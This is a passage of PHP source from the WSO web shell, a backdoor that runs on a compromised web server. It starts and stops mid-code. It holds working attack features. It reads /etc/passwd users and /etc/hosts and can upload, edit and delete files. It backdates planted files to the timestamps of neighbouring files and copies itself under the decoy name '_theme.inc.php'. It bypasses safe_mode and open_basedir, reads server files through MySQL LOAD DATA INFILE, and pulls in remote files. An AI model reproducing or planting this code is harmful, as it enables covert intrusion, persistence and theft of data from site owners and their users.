                $temp=array();
                foreach ($downloaders as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                wsoSecParam('HDD space', wsoEx('df -h'));
                wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                    $temp = "";
                    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid)
                            $temp .= join(':',$uid)."
";
                    }
                    echo '<br/>';
                    wsoSecParam('Users', $temp);
                }
            }
	} else {
		wsoSecParam('OS Version',wsoEx('ver'));
		wsoSecParam('Account Settings',wsoEx('net accounts'));
		wsoSecParam('User Accounts',wsoEx('net user'));
	}
	echo '</div>';
	wsoFooter();
}

function actionPhp() {
	//have modified
	wsoHeader();
	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
	echo '</pre></div>';
	wsoFooter();
}

function xfileopen($file){ 
	$content = "";
	if(is_file($file) || is_link($file)){ 
		if($fp = fopen($file,"rb")){ 
			while(!feof($fp)) { 
				$content .= fread($fp,1024);
			} fclose($fp);
		} 
	} return $content;
}

function xfilesave($file,$content){
	$dir = substr($file,0,strrpos($file,DIRECTORY_SEPARATOR));
	if(!is_dir($dir)) mkdir($dir);
	if($file != ""){ 
		$handle = fopen($file, "wb");
		if(fwrite($handle, $content) || ($content == "")){ 
			fclose($handle);
			return true;
		} fclose($handle);
	} return false;
}
//=======================touch_file_dir===================
function touch_parent_dir($dirname){
	$tmp = substr($dirname, 0 , strrpos($dirname, "/"));
	$parent_dir = substr($tmp,0,strrpos($tmp, "/"))."/";
	$parent_dirname = substr($tmp,strrpos($tmp, "/")+1);
	touch_to_original($parent_dir, $parent_dirname);
}
function touch_file_dir($dirname,$filename){
	touch_to_original($dirname,$filename);
	touch_parent_dir($dirname);
}
function touch_to_original($dirname,$filename){
	$dirContent = wsoScandir($dirname);
	$totDir = count($dirContent);
	$dirContent = array_slice($dirContent, $totdir, -2);
	if(!is_dir($dirname.$filename)){
		foreach($dirContent as $dd){
			if(strpos($dd,".")){
				$df[] = $dd;
			}
		}
	}else{
		foreach($dirContent as $dd){
			if(strpos($dd,".") === false){
				$df[] = $dd;
			}
		}		
	}
	$key = array_search($filename, $df);
	$dirContent = $df[$key-1];
	if(!$dirContent){$dirContent = $df[$key+1];}
	$timefile = date('Y-m-d H:i:s', @filemtime($dirname . $dirContent));
	$time = strtotime($timefile);
	return @touch($dirname.$filename,$time,$time);
}

function actiondoClone(){
	wsoHeader();
	$con = xfileopen($_SERVER['SCRIPT_FILENAME']);
	$sf = basename($_SERVER["SCRIPT_FILENAME"]);
	if(file_exists($sf)){$sf = false;}
	if(!$sf){$sf = "_theme.inc.php";}
	xfilesave($sf,$con);

	$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	$totDir = count($dirContent);
	$dirContent = array_slice($dirContent, $totdir, -2);
	foreach($dirContent as $dd){
		if(strpos($dd,".")){
			$df[] = $dd;
		}
	}
	$key = array_search($sf, $df);
	$dirContent = $df[$key-1];
	if(!$dirContent){$dirContent = $df[$key+1];}
	$timefile = date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent));
	$time = strtotime($timefile);
	if(touch($sf,$time,$time)){
		echo "<br><h1>Shell Cloner</h1><div class=content>Shell copied to this folder<br>Filename : ".$sf."</div>";
	}else{
		echo "<br><h1>Shell Cloner</h1><div class=content>Shell copied to this folder w/o touched<br>Filename : ".$sf."</div>";
	}
	wsoFooter();
}

function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])){
					echo "Can't upload file!";
				}else{
					touch_file_dir($GLOBALS['cwd'],$_FILES['f']['name']);
				}
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2'])){
					echo "Can't create new dir";
				}else{
					touch_file_dir($GLOBALS['cwd'],$_POST['p2']);
				}
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f'])){
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
					touch_parent_dir($GLOBALS['cwd']);
				}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			case 'touchajax':
				if( !empty($_POST['p3']) ) {
					$time = strtotime($_POST['p3']);
					if($time) {
						if(!touch($_POST['p2'],$time,$time)){
							echo 'Fail!';
						}else{
							echo 'Touched!';
						}
					} else echo 'Bad time format!';
				}
				break;
			case 'renameajax':
				if( !empty($_POST['p3']) ) {
					if(!@rename($_POST['p2'], $_POST['p3']))
						echo 'Can\'t rename!<br>';
					else
						echo 'Renamed';
				}
				break;
			case 'deleteajax':
				if( !empty($_POST['p2']) ) {
					function deleteDir($path) {
						$path = (substr($path,-1)=='/') ? $path:$path.'/';
						$dh  = opendir($path);
						while ( ($item = readdir($dh) ) !== false) {
							$item = $path.$item;
							if ( (basename($item) == "..") || (basename($item) == ".") )
								continue;
							$type = filetype($item);
							if ($type == "dir")
								deleteDir($item);
							else
								@unlink($item);
						}
						closedir($dh);
						@rmdir($path);
					}
					$f =$_POST['p2'];
					if($f == '..')
						continue;
					$f = urldecode($f);
					if(is_dir($f))
						deleteDir($f);
					else
						@unlink($f);
					touch_parent_dir($GLOBALS['cwd']);
				}
				break;
			default:
                if(!empty($_POST['p1'])) {
					WSOsetcookie('act', $_POST['p1']);
					WSOsetcookie('f', serialize(@$_POST['f']));
					WSOsetcookie('c', @$_POST['c']);
				}
				break;
		}
	}
    wsoHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';wsoFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function wsoCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		//modded by [_ZIPPO_]
		echo '<tr'.($l?' class=l1':'').'>
		<td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td>
		
		<td><a id="'.urlencode($f['name']).'_ilink" href="javascript:tukar(\''.urlencode($f['name']).'_ilink\',\''.urlencode($f['name']).'_iform\');">'.(($f['type']=='file')?htmlspecialchars($f['name']):''. '<b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a>
		<div id="'.urlencode($f['name']).'_iform" style="display:none; padding:0;margin:0;">
		<input type="text" onchange="document.getElementById(\'renajaxid\').value = this.value" name="renajaxid" id="renajaxid" value="'.urlencode($f['name']).'">
		<br><a href=# onclick="g(\'FilesMan\',null,\'renameajax\',\''.urlencode($f['name']).'\', document.getElementById(\'renajaxid\').value)">ren</a>
		<a href=# onclick="g(\'FilesMan\',null,\'deleteajax\',\''.(($f['type']=='file')?htmlspecialchars($f['name']):'' . htmlspecialchars($f['name'])).'\', null)">del</a>
		<a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">open':'g(\'FilesMan\',\''.$f['path'].'\');" ' . '' . '>open').'</a>
		<a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">edit':'g(\'FilesMan\',\''.$f['path'].'\');" ' . '' . '>').'</a>
		<a href=# onclick="tukar(\''.urlencode($f['name']).'_iform\',\''.urlencode($f['name']).'_ilink\')">cancel</a></div></td>
		
		<td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td>
		
		<td><a id="'.urlencode($f['name']).'_link" href="javascript:tukar(\''.urlencode($f['name']).'_link\',\''.urlencode($f['name']).'_form\');">'.$f['modify'].'</a>
		<div id="'.urlencode($f['name']).'_form" style="display:none; padding:0;margin:0;">
		<input type="text" onchange="document.getElementById(\'touchajaxid\').value = this.value" name="touchajaxid" id="touchajaxid" value="'.$f['modify'].'">
		<br><a href=# onclick="g(\'FilesMan\',null,\'touchajax\',\''.urlencode($f['name']).'\',document.getElementById(\'touchajaxid\').value);">set</a>
		<a href=# onclick="tukar(\''.urlencode($f['name']).'_form\',\''.urlencode($f['name']).'_link\');">cancel</a></div></td>
		
		<td>'.$f['owner'].'/'.$f['group'].'</td>
		<td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'].'</td>
		<td><a href="#"'.(($f['type']=='file')?'<a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">Download</a>':'').'</td>
		</tr>';
		//end modded
		$l = $l?0:1;
	}
	echo "<tr><td colspan=7>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    echo "<option value='tar'>Compress (tar.gz)</option>";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
        echo "<option value='paste'>Paste / Compress</option>";
    echo "</select>&nbsp;";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
        echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
	wsoFooter();
}

function get_file_extension($file_name){
	return substr(strrchr($file_name,'.'),1);
}

function utf8_wordwrap($string, $width=75, $break="
", $cut=false)
{
	//have modified
  return utf8Wordwrap($string, $width=75, $break="
",$cut=false);
}

function utf8Wordwrap($str, $width=75, $break="
", $cut=false){
	$splitedArray    = array();
	$lines            = explode("
", $str);
	foreach ($lines as $line) {
		$lineLength = strlen($line);
		if ($lineLength > $width) {
			$words = explode(" ", $line);
			$lineByWords = '';
			$addNewLine = true;
			foreach ($words as $word) {
				$lineByWordsLength        = strlen($lineByWords);
				$tmpLine                = $lineByWords.((strlen($lineByWords) !== 0) ? ' ' : '').$word;
				$tmplineByWordsLength    = strlen($tmpLine);
				if ($tmplineByWordsLength > $width && $lineByWordsLength <= $width && $lineByWordsLength !== 0) {
					$splitedArray[]    = $lineByWords;
					$lineByWords    = '';
				}

				$newLineByWords            = $lineByWords.((strlen($lineByWords) !== 0) ? ' ' : '').$word;
				$newLineByWordsLength    = strlen($newLineByWords);
				if ($cut && $newLineByWordsLength > $width) {
					for ($i = 0; $i < $newLineByWordsLength; $i = $i + $width) {
						$splitedArray[] = mb_substr($newLineByWords, $i, $width);
					}
					$addNewLine = false;
				} else {
					$lineByWords = $newLineByWords;
				}
			}
			if ($addNewLine) {
				$splitedArray[] = $lineByWords;
			}
		} else {
			$splitedArray[] = $line;
		}
	}
	return implode($break, $splitedArray);
}
	
function actionFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if(@$_POST['p2']=='download') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST['p1']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
				touch_file_dir($GLOBALS['cwd'], $_POST['p1']);
			}
		}
	}
	wsoHeader();
	echo '<h1>File tools</h1><div class=content>';
	if( !file_exists(@$_POST['p1']) && $_POST['p2'] <> 'searchfile') {
		echo 'File not exists';
		wsoFooter();
		return;
	}
	if($_POST['p2'] <> 'searchfile'){
		$uid = @posix_getpwuid(@fileowner($_POST['p1']));
		if(!$uid) {
			$uid['name'] = @fileowner($_POST['p1']);
			$gid['name'] = @filegroup($_POST['p1']);
		} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
		echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
		echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
		if( empty($_POST['p2']) )
			$_POST['p2'] = 'view';
		if( is_file($_POST['p1']) )
			$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Delete');
		else
			$m = array('Chmod', 'Rename', 'Touch');
		foreach($m as $v)
			echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
		echo '<br>';
	}
	echo '<br>';
	switch($_POST['p2']) {
		case 'view':
			if(strtoupper(get_file_extension($_POST['p1'])) == strtoupper('php')){
				if( @is_readable($_POST['p1']) ) {
					echo '<div class=ml1 style="background-color: black;color:white;">';
					$code = @highlight_file($_POST['p1'],true);
					$bu = str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
					$old = array("0000BB","000000","FF8000","DD0000", "007700");
					$new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000");
					$cos = str_replace($old,$new, $bu);
					//echo utf8_wordwrap($cos,"240","
",true);
					echo utf8Wordwrap($cos,"240","
",true);
				}
			}else{
				echo '<pre class=ml1>';
				$fp = @fopen($_POST['p1'], 'r');
				if($fp) {
					while( !@feof($fp) )
						echo htmlspecialchars(@fread($fp, 1024));
					@fclose($fp);
				}
				echo '</pre>';
			}
			break;
		case 'highlight':
			if( @is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: black;color:white;">';
				$code = @highlight_file($_POST['p1'],true);
				$bu = str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
				$old = array("0000BB","000000","FF8000","DD0000", "007700");
				$new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000");
				$cos = str_replace($old,$new, $bu);
				//echo utf8_wordwrap($cos,"240","
",true);
				echo utf8Wordwrap($cos,"240","
",true);
			}
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo 'Saved!<br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value=">>"></form>';
			break;
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "
";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(!touch($_POST['p1'],$time,$time)){
						echo 'Fail!';
					} else{
						echo 'Touched!';
						touch_file_dir($GLOBALS['cwd'], $_POST['p1']);
					}
				} else echo 'Bad time format!';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
			break;
		case 'delete':
			function deleteDir($path) {
				$path = (substr($path,-1)=='/') ? $path:$path.'/';
				$dh  = opendir($path);
				while ( ($item = readdir($dh) ) !== false) {
					$item = $path.$item;
					if ( (basename($item) == "..") || (basename($item) == ".") )
						continue;
					$type = filetype($item);
					if ($type == "dir")
						deleteDir($item);
					else
						@unlink($item);
				}
				closedir($dh);
				@rmdir($path);
			}
			$f = $_POST['p1'];
			if($f == '..')
				continue;
			$f = urldecode($f);
			if(is_dir($f)){
				deleteDir($f);
				echo "folder : ".$f." removed!";
			}else{
				@unlink($f);
				echo "file : ".$f." deleted!";
			}
			touch_parent_dir($GLOBALS['cwd']);
			break;
		case 'searchfile':
			if( !empty($_POST['p1']) ) {
				$isea=1;
				$af = @explode(";",$_POST['p1']);
				if($af){
					$tosearch = $af[0];
					$topath = $af[1];
				}else{
					$tosearch = $_POST['p1'];
					$topath = $_COOKIE['c'];
				}
				$aryResults = rglob($tosearch, 0, $topath);
				echo '  <table>' . "
";
				echo '    <tr>' . "
";
				echo '      <th>ID Number</th>' . "
";
				echo '      <th>Filename</th>' . "
";
				echo '    </tr>' . "
";
				foreach ($aryResults as $value) {
					echo '    <tr>' . "
";
					echo '      <td>' . $isea . '</td>' . "
";
					echo '      <td>' . $value . '</td>' . "
";
					echo '    </tr>' . "
";
					$isea++;
				}
				echo '  </table>' . "
";
			}
			clearstatcache();
			break;
	}
	echo '</div>';
	wsoFooter();
}

function check_openport($host,$port){
	$connection = @fsockopen($host, $port, $errno, $errstr, 10);
	if(is_resource($connection)){
		return true;
		fclose($connection);
	}else{
		return false;
	}
}

function actionSafeMode() {
	if(isset($_POST['ajax'])) {
		ob_start();
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
		switch($_POST['p1']) {
			case 1:
				$temp=@tempnam($test, 'cx');
				if(@copy("compress.zlib://".$_POST['p2'], $temp)){
					echo @file_get_contents($temp);
					unlink($temp);
				} else
					echo 'Sorry... Can\'t open file';
				break;
			case 2:
				$files = glob($_POST['p2'].'*');
				if( is_array($files) )
					foreach ($files as $filename)
						echo $filename."
";
				break;
			case 3:
				$ch = curl_init("file://".$_POST['p2']."".SELF_PATH); 
				curl_exec($ch);
				break;
			case 4:
				ini_restore("safe_mode");  
				ini_restore("open_basedir"); 
				include($_POST['p2']);
				break;
			case 5:
				for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {  
					$uid = posix_getpwuid($_POST['p2']);
					if ($uid)
						echo join(':',$uid)."
";  
				} 
				break;
			case 6:
				if(!function_exists('imap_open'))break;
				$stream = imap_open($_POST['p2'], "", "");
				if ($stream == FALSE)
					break;
				echo imap_body($stream, 1);
				imap_close($stream);
				break;
			case 7:
				$read_file=$_POST['p2'];
				if(check_openport($_POST['p3'],$_POST['p4'])){
					@mysql_connect($_POST['p3'].":".$_POST['p4'],$_POST['p5'],$_POST['p6']);
					$soru = 'CREATE DATABASE tmp_bd_file'; mysql_query($soru);
					mysql_select_db("tmp_bd_file");
					$result = mysql_query('CREATE TABLE `tmp_file` ( `file` LONGBLOB NOT NULL );');
					$result = mysql_query("LOAD DATA INFILE \"".addslashes($read_file)."\" INTO TABLE tmp_file");
					$query = "SELECT * FROM tmp_file";
					$result = mysql_query($query);
					echo "(read file) ".$result ? "File Content :
" : mysql_error();
					for($i=0;$i<mysql_num_fields($result);$i++){
						$name=mysql_field_name($result,$i);
					}
					while($line=mysql_fetch_array($result, MYSQL_ASSOC))
					{
						foreach ($line as $key =>$col_value) 
							{
								echo htmlspecialchars($col_value)."
";
							}
					}
					mysql_free_result($result);
					$sora = 'DROP DATABASE `tmp_bd_file`'; mysql_query($sora);
				}else{
					if($_POST['p4']){
						echo "(read file) sorry, port ".$_POST['p4']." closed";
					}else{
						echo "(read file) sorry, required input not set";
					}
				}
				break;
			case 8:
				$remotefile = $_POST['p2'];
				$savepath = $_POST['p3'];
				$portopen = false;
				if (file_exists($savepath)) {
					$fe[] = '(upload file) The goal file already exist';
				} else {
					if(!$remotefile) {
						$fe[] = '(upload file) Please set the remote file';
					} else {
						$contents = "";
						$contents=file_get_contents($remotefile);
						$contents = bin2hex($contents);
						if(!$upname) $upname = basename($remotefile);
						$udb = @explode(",",$_POST['p4']);
						if(count($udb)>1){
							$fe[] = "(upload file)
";
							if(check_openport($udb[0],$_POST['p5'])){
								@mysql_connect($udb[0].":".$_POST['p5'],$_POST['p6'],$_POST['p7']);
								mysql_select_db($udb[1]);
								$fe[] = "host: ".$udb[0]."
port: ".$_POST['p5']."
user: ".$_POST['p6']."
pass: ".$_POST['p7']."
db: ".$udb[1]."
";
								$portopen = true;
							}else{
								if($_POST['p5']){
									$fe[] = "(upload file) sorry, port ".$_POST['p5']." closed";
								}else{
									$fe[] = "(upload file) sorry, required input not set";
								}
							}
						}else{
							$fe[] = "(upload file)
";
							if(check_openport($_POST['p4'],$_POST['p5'])){
								@mysql_connect($_POST['p4'].":".$_POST['p5'],$_POST['p6'],$_POST['p7']);
								$fe[] = "host: ".$_POST['p4']."
port: ".$_POST['p5']."
user: ".$_POST['p6']."
pass: ".$_POST['p7']."
";
								$soru = 'CREATE DATABASE `tmp_up_file`'; 
								if(mysql_query($soru)){$fe[] = "created db: tmp_up_file
";}else{$fe[] = "fail to create db: tmp_up_file
";}
								mysql_select_db("tmp_up_file");
								$portopen = true;
							}else{
								if($_POST['p5']){
									$fe[] = "(upload file) sorry, port ".$_POST['p5']." closed";
